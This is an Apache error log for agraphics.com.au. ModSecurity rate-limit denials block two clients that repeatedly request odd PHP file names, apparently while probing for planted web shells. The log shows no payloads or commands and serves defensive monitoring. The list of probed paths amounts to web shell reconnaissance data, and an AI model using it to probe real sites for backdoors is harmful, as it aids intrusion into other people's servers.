[Fri Apr 24 06:45:58.778300 2026] [:error] [pid 19101:tid 19161] [client 74.248.17.200:20840] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/redixsx.php"] [unique_id "aeqhJmAHj9bEvrTgbO3cXwAAAFg"]
[Fri Apr 24 06:45:59.449394 2026] [:error] [pid 19101:tid 19156] [client 74.248.17.200:37078] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/redixsx.php"] [unique_id "aeqhJ2AHj9bEvrTgbO3cYAAAAFM"]
[Fri Apr 24 06:46:00.055437 2026] [:error] [pid 52129:tid 52153] [client 74.248.17.200:14257] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/redixsx.php"] [unique_id "aeqhKOKCZKf8_u2LKiCAFAAAARQ"]
[Fri Apr 24 06:46:01.135844 2026] [:error] [pid 19102:tid 19165] [client 74.248.17.200:15828] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/redixsx.php"] [unique_id "aeqhKQDSgrbLEZbkqD7W3QAAAIE"]
[Fri Apr 24 06:46:02.157749 2026] [:error] [pid 19200:tid 19218] [client 74.248.17.200:19230] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeqhKjQ--M3-tsKAnhG0EwAAAMo"]
[Fri Apr 24 06:46:02.986715 2026] [:error] [pid 19200:tid 19231] [client 74.248.17.200:37078] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeqhKjQ--M3-tsKAnhG0GAAAANc"]
[Fri Apr 24 06:46:03.844505 2026] [:error] [pid 52129:tid 52144] [client 74.248.17.200:20806] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeqhK-KCZKf8_u2LKiCAHwAAAQs"]
[Fri Apr 24 06:46:04.909554 2026] [:error] [pid 19200:tid 19225] [client 74.248.17.200:19204] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeqhLDQ--M3-tsKAnhG0JAAAANE"]
[Fri Apr 24 06:46:05.558603 2026] [:error] [pid 19200:tid 19224] [client 74.248.17.200:17748] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bc.php"] [unique_id "aeqhLTQ--M3-tsKAnhG0KAAAANA"]
[Fri Apr 24 06:46:06.473112 2026] [:error] [pid 19200:tid 19214] [client 74.248.17.200:14480] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bc.php"] [unique_id "aeqhLjQ--M3-tsKAnhG0MQAAAMY"]
[Fri Apr 24 06:46:07.354812 2026] [:error] [pid 19102:tid 19177] [client 74.248.17.200:35293] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bc.php"] [unique_id "aeqhLwDSgrbLEZbkqD7W4gAAAI0"]
[Fri Apr 24 06:46:08.227561 2026] [:error] [pid 19102:tid 19166] [client 74.248.17.200:6311] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bc.php"] [unique_id "aeqhMADSgrbLEZbkqD7W5QAAAII"]
[Fri Apr 24 06:46:08.999086 2026] [:error] [pid 52129:tid 52154] [client 74.248.17.200:38432] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/67.php"] [unique_id "aeqhMOKCZKf8_u2LKiCAIQAAARU"]
[Fri Apr 24 06:46:09.652578 2026] [:error] [pid 19101:tid 19150] [client 74.248.17.200:17781] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/67.php"] [unique_id "aeqhMWAHj9bEvrTgbO3cYgAAAE0"]
[Fri Apr 24 06:46:10.634429 2026] [:error] [pid 19200:tid 19214] [client 74.248.17.200:35309] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/67.php"] [unique_id "aeqhMjQ--M3-tsKAnhG0WQAAAMY"]
[Fri Apr 24 06:46:11.157152 2026] [:error] [pid 52129:tid 52155] [client 74.248.17.200:14980] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/67.php"] [unique_id "aeqhM-KCZKf8_u2LKiCAJgAAARY"]
[Fri Apr 24 06:46:11.780633 2026] [:error] [pid 19101:tid 19140] [client 74.248.17.200:18442] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1mrX.php"] [unique_id "aeqhM2AHj9bEvrTgbO3cZwAAAEM"]
[Fri Apr 24 06:46:12.338994 2026] [:error] [pid 19100:tid 19124] [client 74.248.17.200:13992] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1mrX.php"] [unique_id "aeqhNLF_hzQs4CqbifcVgwAAAA4"]
[Fri Apr 24 06:46:12.919729 2026] [:error] [pid 19100:tid 19129] [client 74.248.17.200:18441] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1mrX.php"] [unique_id "aeqhNLF_hzQs4CqbifcVhAAAABM"]
[Fri Apr 24 06:46:13.565581 2026] [:error] [pid 52129:tid 52138] [client 74.248.17.200:13446] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1mrX.php"] [unique_id "aeqhNeKCZKf8_u2LKiCAKgAAAQU"]
[Fri Apr 24 06:46:14.307554 2026] [:error] [pid 19200:tid 19228] [client 74.248.17.200:41509] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x402.php"] [unique_id "aeqhNjQ--M3-tsKAnhG0cAAAANQ"]
[Fri Apr 24 06:46:15.078254 2026] [:error] [pid 52129:tid 52141] [client 74.248.17.200:13451] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x402.php"] [unique_id "aeqhN-KCZKf8_u2LKiCAMQAAAQg"]
[Fri Apr 24 06:46:15.690700 2026] [:error] [pid 19101:tid 19149] [client 74.248.17.200:6829] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x402.php"] [unique_id "aeqhN2AHj9bEvrTgbO3caQAAAEw"]
[Fri Apr 24 06:46:16.351957 2026] [:error] [pid 19101:tid 19146] [client 74.248.17.200:13546] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x402.php"] [unique_id "aeqhOGAHj9bEvrTgbO3cawAAAEk"]
[Fri Apr 24 06:46:16.957422 2026] [:error] [pid 19102:tid 19170] [client 74.248.17.200:6273] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/485.php"] [unique_id "aeqhOADSgrbLEZbkqD7W7QAAAIY"]
[Fri Apr 24 06:46:17.634119 2026] [:error] [pid 19102:tid 19182] [client 74.248.17.200:6789] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/485.php"] [unique_id "aeqhOQDSgrbLEZbkqD7W7gAAAJI"]
[Fri Apr 24 06:46:18.151415 2026] [:error] [pid 52129:tid 52140] [client 74.248.17.200:27001] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/485.php"] [unique_id "aeqhOuKCZKf8_u2LKiCAOAAAAQc"]
[Fri Apr 24 06:46:18.698985 2026] [:error] [pid 19102:tid 19178] [client 74.248.17.200:16966] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/485.php"] [unique_id "aeqhOgDSgrbLEZbkqD7W8AAAAI4"]
[Fri Apr 24 06:46:19.302696 2026] [:error] [pid 52129:tid 52146] [client 74.248.17.200:19290] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "aeqhO-KCZKf8_u2LKiCAOwAAAQ0"]
[Fri Apr 24 06:46:20.321428 2026] [:error] [pid 52129:tid 52138] [client 74.248.17.200:19975] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "aeqhPOKCZKf8_u2LKiCAPgAAAQU"]
[Fri Apr 24 06:46:21.063351 2026] [:error] [pid 52129:tid 52150] [client 74.248.17.200:6797] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "aeqhPeKCZKf8_u2LKiCAQAAAARE"]
[Fri Apr 24 06:46:21.899299 2026] [:error] [pid 19200:tid 19230] [client 74.248.17.200:31006] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "aeqhPTQ--M3-tsKAnhG0rAAAANY"]
[Fri Apr 24 06:46:22.790368 2026] [:error] [pid 19102:tid 19177] [client 74.248.17.200:26960] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeqhPgDSgrbLEZbkqD7W8QAAAI0"]
[Fri Apr 24 06:46:24.352297 2026] [:error] [pid 19102:tid 19164] [client 74.248.17.200:20754] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeqhQADSgrbLEZbkqD7W8gAAAIA"]
[Fri Apr 24 06:46:25.106133 2026] [:error] [pid 52129:tid 52147] [client 74.248.17.200:19612] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeqhQeKCZKf8_u2LKiCARQAAAQ4"]
[Fri Apr 24 06:46:25.789915 2026] [:error] [pid 19200:tid 19222] [client 74.248.17.200:20034] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeqhQTQ--M3-tsKAnhG0sgAAAM4"]
[Fri Apr 24 08:06:44.664231 2026] [proxy_fcgi:error] [pid 52129:tid 52145] [client 158.158.109.204:44084] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:06:44.910182 2026] [proxy_fcgi:error] [pid 52129:tid 52138] [client 158.158.109.204:44084] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:06:45.154951 2026] [proxy_fcgi:error] [pid 52129:tid 52142] [client 158.158.109.204:44084] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:06:45.630532 2026] [proxy_fcgi:error] [pid 52129:tid 52140] [client 158.158.109.204:44084] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:06:45.872736 2026] [proxy_fcgi:error] [pid 52129:tid 52155] [client 158.158.109.204:44084] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:06:46.115754 2026] [proxy_fcgi:error] [pid 52129:tid 52146] [client 158.158.109.204:44084] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:06:46.607147 2026] [proxy_fcgi:error] [pid 52129:tid 52148] [client 158.158.109.204:44084] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:06:46.850740 2026] [proxy_fcgi:error] [pid 52129:tid 52150] [client 158.158.109.204:44084] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:06:47.396997 2026] [proxy_fcgi:error] [pid 52129:tid 52153] [client 158.158.109.204:44084] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:06:47.644272 2026] [:error] [pid 52129:tid 52152] [client 158.158.109.204:44084] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wziar1.php"] [unique_id "aeq0F-KCZKf8_u2LKiD4XgAAARM"]
[Fri Apr 24 08:06:50.061093 2026] [:error] [pid 52129:tid 52156] [client 158.158.109.204:41901] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wziar1.php"] [unique_id "aeq0GuKCZKf8_u2LKiD4eAAAARc"]
[Fri Apr 24 08:06:52.789245 2026] [:error] [pid 52129:tid 52138] [client 158.158.109.204:40786] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wziar1.php"] [unique_id "aeq0HOKCZKf8_u2LKiD4kAAAAQU"]
[Fri Apr 24 08:06:54.864209 2026] [:error] [pid 19102:tid 19172] [client 158.158.109.204:43483] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wziar1.php"] [unique_id "aeq0HgDSgrbLEZbkqD4aSwAAAIg"]
[Fri Apr 24 08:06:59.464456 2026] [:error] [pid 52129:tid 52135] [client 158.158.109.204:42719] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeq0I-KCZKf8_u2LKiD4vAAAAQI"]
[Fri Apr 24 08:07:00.831705 2026] [:error] [pid 19101:tid 19147] [client 158.158.109.204:42723] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeq0JGAHj9bEvrTgbO0TEAAAAEo"]
[Fri Apr 24 08:07:03.736169 2026] [:error] [pid 52129:tid 52138] [client 158.158.109.204:6691] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeq0J-KCZKf8_u2LKiD42QAAAQU"]
[Fri Apr 24 08:07:05.781130 2026] [:error] [pid 19102:tid 19176] [client 158.158.109.204:6871] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeq0KQDSgrbLEZbkqD4acAAAAIw"]
[Fri Apr 24 08:07:08.186801 2026] [:error] [pid 19200:tid 19227] [client 158.158.109.204:45111] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7logs.php"] [unique_id "aeq0LDQ--M3-tsKAnhEHGwAAANM"]
[Fri Apr 24 08:07:11.526491 2026] [:error] [pid 52129:tid 52148] [client 158.158.109.204:45056] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7logs.php"] [unique_id "aeq0L-KCZKf8_u2LKiD5FwAAAQ8"]
[Fri Apr 24 08:07:13.778992 2026] [:error] [pid 52129:tid 52145] [client 158.158.109.204:60866] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7logs.php"] [unique_id "aeq0MeKCZKf8_u2LKiD5MAAAAQw"]
[Fri Apr 24 08:07:17.058563 2026] [:error] [pid 19102:tid 19180] [client 158.158.109.204:6914] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7logs.php"] [unique_id "aeq0NQDSgrbLEZbkqD4amQAAAJA"]
[Fri Apr 24 08:07:19.981488 2026] [:error] [pid 19101:tid 19143] [client 158.158.109.204:47270] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeq0N2AHj9bEvrTgbO0TVQAAAEY"]
[Fri Apr 24 08:07:21.818946 2026] [:error] [pid 19200:tid 19218] [client 158.158.109.204:6670] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeq0OTQ--M3-tsKAnhEHgwAAAMo"]
[Fri Apr 24 08:07:24.874432 2026] [:error] [pid 52129:tid 52144] [client 158.158.109.204:49687] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeq0POKCZKf8_u2LKiD5cQAAAQs"]
[Fri Apr 24 08:07:26.130000 2026] [:error] [pid 52129:tid 52136] [client 158.158.109.204:60893] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeq0PuKCZKf8_u2LKiD5gQAAAQM"]
[Fri Apr 24 08:07:27.732452 2026] [:error] [pid 19101:tid 19137] [client 158.158.109.204:60864] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "aeq0P2AHj9bEvrTgbO0TgAAAAEA"]
